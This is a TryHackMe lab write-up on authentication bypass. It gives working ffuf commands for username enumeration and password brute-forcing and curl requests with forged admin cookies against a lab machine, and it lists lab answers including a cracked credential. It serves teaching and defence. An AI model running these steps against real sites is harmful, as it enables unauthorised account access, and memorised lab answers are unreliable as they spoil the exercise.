# Authentication Bypass

## Overview

**Room URL:** https://tryhackme.com/room/authenticationbypass

**Difficulty:** Easy

**Category:** Web Application Security/Authentication

## Objective

Learn how to exploit common authentication vulnerabilities including username enumeration, brute force attacks, and logic flaws in cookie-based authentication systems.

## Table of Contents



## Introduction

### What are Authentication Vulnerabilities?

Authentication vulnerabilities are weaknesses in the way applications verify user identity. These flaws can allow attackers to:

- Enumerate valid usernames
- Brute force passwords
- Bypass authentication mechanisms
- Gain unauthorized access to accounts

- Escalate privileges

## Why This Matters

Authentication is the first line of defense for web applications. Weak authentication mechanisms can lead to:

- Account takeovers
- Unauthorized access to sensitive data
- Privilege escalation
- Complete system compromise

---

## Technique 1: Username Enumeration

**What is it?**
Username enumeration is the process of identifying valid usernames in a system by analyzing application responses. This is often the first step in an authentication attack.

**Common Indicators:**

- Different error messages for valid vs. invalid usernames
- Different response times
- Different HTTP status codes
- Different page content or redirects

**Why This is Dangerous:**
Once attackers have a list of valid usernames, they can:

- Focus brute force attacks on known accounts
- Attempt credential stuffing with leaked passwords
- Target specific users for social engineering

**Tool: ffuf for Username Enumeration**

ffuf can be used to test multiple potential usernames against a registration or login form and identify which ones already exist in the system.

**Basic Syntax for POST Requests:**

```
ffuf -w [wordlist] -X POST -d "param1=FUZZ&param2=value" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -mr "[match-text]"
```

**Key Flags:**

- `-w`: Wordlist containing potential usernames
- `-X`: HTTP method (POST in this case)
- `-d`: Data to send in the POST request
- `FUZZ`: Keyword that gets replaced with wordlist values
- `-H`: Additional headers (Content-Type for form data)
- `-u`: Target URL
- `-mr`: Match text - only show responses containing this text

---

# Technique 2: Brute Force Attacks

**What is it?**

A brute force attack is an automated process that tries a list of commonly used passwords against either a single username or a list of usernames until a valid combination is found.

**How it Works:**

The attacker uses wordlists containing:

- Common passwords (password123, qwerty, etc.)
- Leaked password databases
- Dictionary words
- Password patterns

**Multiple Wordlists in ffuf:**

When using multiple wordlists (usernames + passwords), you need to specify custom keywords instead of just FUZZ.

**Syntax:**

```
ffuf -w [wordlist1]:W1,[wordlist2]:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -fc [filter-code]
```

**Key Flags:**

- `-w [file]:W1,[file]:W2`: Multiple wordlists with custom keywords
- `W1`, `W2`: Custom keywords for each wordlist
- `-fc`: Filter by HTTP status code (exclude specific codes)

**Why `-fc 200` is Used:**

A successful login typically redirects (302) or shows a different status code, while failed attempts return 200. By filtering out 200 responses, we only see successful authentications.

---

# Technique 3: Logic Flaws - Cookie Manipulation

**What are Cookies?**

Cookies are small pieces of data stored by the browser and sent with every request to a website. They're commonly used for:

- Session management
- User preferences
- Authentication state

**Why Cookie Manipulation Works:**

Poorly implemented authentication systems may store sensitive information in cookies without proper validation, allowing attackers to modify their authentication state or privileges.

---

## Method 1: Plain Text Cookies

**What is it?**

Some applications store authentication data in cookies as plain, readable text.

**Example:**

```
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
```

**The Vulnerability:**

If the server trusts cookie values without server-side validation, an attacker can simply modify these values.

**Testing with curl:**

```
curl -H "Cookie: logged_in=true; admin=true" http://target.com/page
```

---

## Method 2: Hashed Cookies

**What is Hashing?**

A hash is a one-way cryptographic function that converts data into a fixed-length string of characters. The same input always produces the same output, but the process cannot be reversed.

**Common Hash Types:**

| Original | Hash Method | Output |
|---|---|---|
| 1 | MD5 | c4ca4238a0b923820dcc509a6f75849b |
| 1 | SHA-1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| 1 | SHA-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| 1 | SHA-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |

**The Vulnerability:**

While hashes can't be reversed, they can be looked up in databases of pre-computed hashes.

**Tools:**

- https://crackstation.net/ - Database of billions of hashes
- HashCat - Offline hash cracking tool
- John the Ripper - Password cracking tool

---

## Method 3: Encoded Cookies

**What is Encoding?**

Encoding converts data into a different format using a scheme that can be easily reversed. Unlike hashing, encoding is designed to be reversible.

**Purpose of Encoding:**

- Convert binary data to human-readable text
- Safely transmit data over mediums that only support ASCII characters
- NOT for security (it's easily reversible)

**Common Encoding Types:**

- **Base32**: Uses A-Z and 2-7
- **Base64**: Uses a-z, A-Z, 0-9, +, /, and = for padding

**Example:**

```
Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==
```

**Decoded:**

```
{"id":1,"admin":false}
```

**The Attack:**

1. Decode the base64 string
2. Modify the JSON (change admin to true)
3. Encode back to base64
4. Send modified cookie

**Tools:**

- Command line: `echo [string] | base64` or `echo [string] | base64 -d`
- Online: https://www.base64decode.org/
- CyberChef: https://gchq.github.io/CyberChef/

---

# Walk Through

## Task 1: Username Enumeration

**Objective:** Find valid usernames on the Acme IT Support signup page

1. Navigate to the signup page: `http://MACHINE_IP/customers/signup`
2. Test manually by trying username "admin" - observe the error message: "An account with this username already exists"
3. Use ffuf to automate username enumeration:

```
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
```

4. Create a file called `valid_usernames.txt` with the discovered usernames
5. Review results to answer questions

**Answers:**

Username starting with si***: `simon`

Username starting with st***: `steve`

Username starting with ro****: `robert`

---

# Task 2: Brute Force Attack

**Objective:** Use valid usernames to brute force passwords on the login page

**Note:** Ensure your `valid_usernames.txt` file contains only clean username data (one username per line, no extra output).

1. Navigate to login page: `http://MACHINE_IP/customers/login`
2. Use ffuf with multiple wordlists (usernames + passwords):

```
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200
```

**Command Breakdown:**

- `valid_usernames.txt:W1` - First wordlist (usernames) referenced as W1
- `10-million-password-list-top-100.txt:W2` - Second wordlist (passwords) referenced as W2
- `-d "username=W1&password=W2"` - POST data using both wordlists
- `-fc 200` - Filter out HTTP 200 responses (failed logins)

3. Wait for ffuf to find valid username/password combination

**Answer:** `steve/thunder`

---

# Task 3: Cookie Manipulation - Plain Text

**Objective:** Manipulate plain text cookie values to gain admin access

### Step 1: Test Initial Request

```
curl http://MACHINE_IP/cookie-test
```

**Response:** "Not Logged In"

### Step 2: Set logged_in Cookie

```
curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test
```

**Response:** "Logged In As A User"

### Step 3: Set Both Cookies to True

```
curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test
```

**Response:** "Logged In As An Admin" + Flag

**Answer:** `THM{REDACTED}`

---

# Task 4: Cookie Manipulation - Hashing

**Objective:** Crack an MD5 hash found in a cookie value

1. Take the hash: `3b2a1053e3270077456a79192070aa78`
2. Navigate to https://crackstation.net/
3. Paste the hash and submit
4. Retrieve the cracked value

**Answer:** `463729`

---

## Task 5: Cookie Manipulation - Encoding/Decoding

**Part 1: Decode Base64 Cookie**

**Objective:** Decode the base64 string: `VEhNe0JBU0U2NF9FTkNPRElOR30=`

**Method 1: Command Line**

```
echo "VEhNe0JBU0U2NF9FTkNPRElOR30=" | base64 -d
```

**Method 2: Online Tool**

- Visit https://www.base64decode.org/
- Paste the string and decode

**Answer:** `THM{REDACTED}`

---

**Part 2: Encode to Base64**

**Objective:** Encode `{"id":1,"admin":true}` to base64

**Method 1: Command Line**

```
echo -n '{"id":1,"admin":true}' | base64
```

**Method 2: Online Tool**

- Visit https://www.base64encode.org/
- Paste the JSON and encode

**Answer:** `eyJpZCI6MSwiYWRtaW4iOnRydWV9`

---

# Lessons Learned

- Username enumeration through error messages is a critical first step in authentication attacks
- Verbose error messages that differentiate between invalid usernames and incorrect passwords are a security vulnerability

- ffuf is a versatile tool that can perform both username enumeration and brute force attacks with proper wordlists
- Multiple wordlists can be used simultaneously in ffuf using custom keywords (W1, W2, etc.)
- Filtering responses by status code (`-fc`) or matching regex (`-mr`) is essential for identifying successful attacks
- Plain text cookies storing authentication state are easily manipulated and should never be trusted without server-side validation
- Cookie values should always be validated server-side, not just checked client-side
- Hashing provides one-way transformation but common values can be looked up in rainbow tables and hash databases
- MD5 and SHA-1 are considered cryptographically broken and should not be used for security purposes
- Encoding (like Base64) is NOT encryption - it's easily reversible and provides no security
- Base64 encoded cookies can be decoded, modified, and re-encoded to change application behavior
- Never store sensitive authorization data (like admin status) in cookies without cryptographic signatures
- Proper authentication systems should use signed session tokens or JWTs to prevent tampering

---

# Resources

TryHackMe

ffuf - Fast Web Fuzzer

SecLists - Wordlist Collection

CrackStation - Hash Lookup

Base64 Decode

Base64 Encode

CyberChef - Data Analysis Tool

OWASP Authentication Cheat Sheet

HTTP In Detail - TryHackMe Room

---

Revision #2

Created 2026-01-21 23:01:59 UTC by David Rizzo

Updated 2026-01-21 23:20:12 UTC by David Rizzo